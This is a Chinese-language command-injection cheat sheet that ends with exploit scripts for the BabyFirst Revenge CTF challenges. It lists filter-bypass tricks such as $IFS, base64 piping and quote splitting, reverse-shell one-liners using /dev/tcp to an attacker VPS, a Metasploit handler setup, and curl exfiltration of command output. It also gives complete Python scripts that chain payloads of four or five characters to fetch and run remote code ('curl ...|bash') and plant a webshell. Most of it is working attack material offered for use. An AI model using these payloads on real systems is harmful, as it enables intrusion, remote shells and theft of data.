命令执行

1. 空格绕过

  1. 重定向符<
  2. %09(php环境)
  3. $IFS$9 或 ${IFS} 符号
    这里解释一下${IFS},$IFS,$IFS$9的区别,首先$IFS在linux下表示分隔符,然而我本地实验却会发生这种情况,这里解释一下,单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,但是为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

2. 命令分隔符

  1. %0a符号
    换行符
  2. %0d符号
    回车符
  3. ;符号
    在 shell 中,担任”连续指令”功能的符号就是”分号”
  4. &符号
    表示任务在后台执行
  5. &&
    表示前一条命令执行成功时,才执行后一条命令
  6. |符号
    管道符左边命令的输出就会作为管道符右边命令的输入
  7. ||符号
    表示上一条命令执行失败后,才执行下一条命令

3. 命令终止符

  1. %00
  2. %20#

4. 黑名单绕过

  1. 拼接
    a=l;b=s;$a$b
  2. base64编码
    1
    2
    root@test:/home/test# `echo "Y2F0IGZsYWc="|base64 -d`   //反引号
    flagaaaaaaaaaa
1
2
root@test:/home/test# echo "Y2F0IGZsYWc="|base64 -d|bash    // |连接
flagaaaaaaaaaa
  1. 利用系统环境变量
    1
    2
    root@test:/home/test# echo ${SHELLOPTS}
    braceexpand:emacs:hashall:histexpand:history:interactive-comments:monitor

payload

1
2
root@test:/home/test# ${SHELLOPTS:3:1}${SHELLOPTS:2:1}${SHELLOPTS:29:1} flag
flagaaaaaaaaaa
  1. 单/双引号

    1
    2
    3
    4
    5
    6
    root@test:/home/test# ca""t fl""ag
    flagaaaaaaaaaa
    root@test:/home/test# ca""t fl''ag
    flagaaaaaaaaaa
    root@test:/home/test# ca''t fl''ag
    flagaaaaaaaaaa
  2. 反斜杠\

    1
    2
    root@test:/home/test# ca\t fla\g
    flagaaaaaaaaaa

5. 无回显命令执行

  1. 第一种是利用bash命令并在本地进行nc监听结果查看回连日志,然后就行
    先在vps处用nc进行监听
    1
    nc -l -p 8080 -vvv

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
  1. 第二种是msf反向回连
    同样vps用msf监听
    1
    2
    3
    4
    5
    6
    7
    8
    vps的msf监听:

    use exploit/multi/handler
    set payload linux/armle/shell/reverse_tcp
    set lport 8080
    set lhost xxx.xxx.xxx.xxx
    set exitonsession false
    exploit -j

然后在靶机命令执行处输入

1
|bash -i >& /dev/tcp/xxxxxI(你的vps的公网ip)/8080 0>&1
  1. curl
    1
    |curl vps的ip:8080/?a=`ls |head -n 3|tail -n 1`

6. 限制长度的命令执行

  1. linux下创建文件的命令可以用1>1创建文件名为1的空文件
    a>1也可以,虽然会报错,但是还是可以创建空文件。
  2. ls>1可以直接把把ls的内容导入一个文件中,但是会默认追加\n

常见php命令注入函数:

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

命令注入中有讲究的字符

‘$’
‘;’
‘|’
‘-‘
‘(‘
‘)’
‘反引号’
‘||’
‘&&’
‘&’
‘}’
‘{‘

BabyFirst Revenge

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
  • 几个铺垫技巧

    1. 命令过长可以通过\进行换行续写
    2. 文件种当前命令错误不影响之后命令的执行
    3. IP的等价表示法:IP地址本质上就是一个整数,只是通常用点分十进制表示,也可以用十六进制、长整数、八进制表示IP
    4. ‘>g’两个字符创建文件
  • 思路:通过写入一系列指令的分段,并用反斜杠\作为文件结尾,最后执行ls -t>g并且sh g来执行我们想要的指令

  1. 思路一:下载php马getshell
    将 ‘curl ip > A’用续行方式切割成多行写进文件 A (即A的内容为’curl ip > A’),然后执行 sh A 就可以下载到预先放在公网主机上的文件并且覆盖本地的文件A,而下载下来的文件内容是用来写PHP木马的PHP代码,我再执行 php A就可以写个自己的webshell进去

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    # -*- coding:utf8 -*-
    import requests as r
    import hashlib
    url = 'http://52.199.204.34/'
    # 查询自己的IP
    ip = r.get('http://ipv4.icanhazip.com/').text.strip()
    sandbox = url + 'sandbox/' + hashlib.md5('orange' + ip).hexdigest() + '/'

    reset = url + '?reset'
    cmd = url + '?cmd='
    build = ['>cur\',
    '>l \',
    'ls>A',
    'rm c*',
    'rm l*',
    '>105\',
    '>304\',
    '>301\',
    '>9>\',
    'ls>>A',
    'sh A',
    'php A'
    ]
    # 如果目标服务器有GET,这个也是可以打的
    # build = ['>GE\',
    # '>T\ \',
    # 'ls>A',
    # 'rm G*',
    # 'rm T*',
    # '>105\',
    # '>304\',
    # '>301\',
    # '>9>\',
    # 'ls>>A']
    r.get(reset)
    for i in build:
    s = r.get(cmd + i)
    print '[%s]' % s.status_code, s.url

    s = r.get(sandbox + 'fun.php?cmd=uname -a')
    print 'n' + '[%s]' % s.status_code, s.url
    print s.text
  2. 思路二:bash反弹shell
    先写入ls -t>g到A中,然后分段写入’curl ‘vps的ip’|bash’,(在本机监听7777端口)vps的内容为bash -i >& /dev/tcp/10.188.2.20/777 0>&1,然后sh A(生成g文件,内容为curl ‘vps的ip’|bash),最后sh g

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    import requests
    from time import sleep
    from urllib import quote
    payload = [
    # generate `ls -t>g` file
    '>ls\\',
    'ls>_',
    '>\ \\',
    '>-t\\',
    '>\>g',
    'ls>>_',
    # generate `curl orange.tw.tw|python` 反弹shell
    # generate `curl 10.188.2.20|bash` 反弹shell
    '>sh\ ',
    '>ba\\',
    '>\|\\',
    '>20\\',
    '>2.\\',
    '>8.\\',
    '>18\\',
    '>0.\\',
    '>1\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',
    # exec
    'sh _',
    'sh g',
    ]

    r = requests.get('http://10.188.2.20:22460/?reset=1')
    for i in payload:
    assert len(i) <= 5
    r = requests.get('http://10.188.2.20:22460/?cmd=' + quote(i) )
    print i
    sleep(0.2)

ps:不知道为什么我的ls命令排序和writeup显示的不一样,选用文件名的时候要注意排序

babyfirst-revenge-v2

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
  • 由于字符限制在了4个,所以不能再像之前那样通过分割字符来实现.原因是不管如何对ls -t>g这个命令进行何种切割,>\>\>\ \是必然作为单独的部分,这样由于ls按照文件名进行排序,所以虽然可以呈现space\ -t\ >\ ? ls,但是ls>>?这个是没有办法实现的.

  • 通过rev逆序之后解决.其中ls -t>g这个命令不能逆序,由于t是比s大的,如果逆序s不会在t的前面,所以这里使用ls -th>g.

  • 关于*命令:
    * 相当于$(dir *),所以说如果文件名如果是命令的话就会返回执行的结果,之后的作为参数传入.所以这样如果dir在最前面的话,就可以把当前目录的文件都返回.

  • 之后将*的结果写入文件中,紧接着写入rev文件.

    1
    2
    >*>v
    >rev
  • 最后执行rev v>u,这个命令需要通过*命令的其它形式实现.
    *v>u这个命令就是rev v>u,因为*v恰好是可以匹配到revv的,如果文件名换成其它字母会因为排序错误或者没有作为rev的参数而逆序失败.

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    import requests
    from time import sleep
    from urllib import quote

    payload = [
    # generate "g> ht- sl" to file "v"
    '>dir',
    '>sl',
    '>g\>',
    '>ht-',
    '*>v',

    # reverse file "v" to file "x", content "ls -th >g"
    '>rev',
    '*v>x',

    # generate "curl orange.tw|python;"
    '>\;\\',
    '>on\\',
    '>th\\',
    '>py\\',
    '>\|\\',
    '>tw\\',
    '>e.\\',
    '>ng\\',
    '>ra\\',
    '>o\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',

    # got shell
    'sh x',
    'sh g',
    ]


    r = requests.get('http://52.197.41.31/?reset=1')
    for i in payload:
    assert len(i) <= 4
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )
    print i
    sleep(0.1)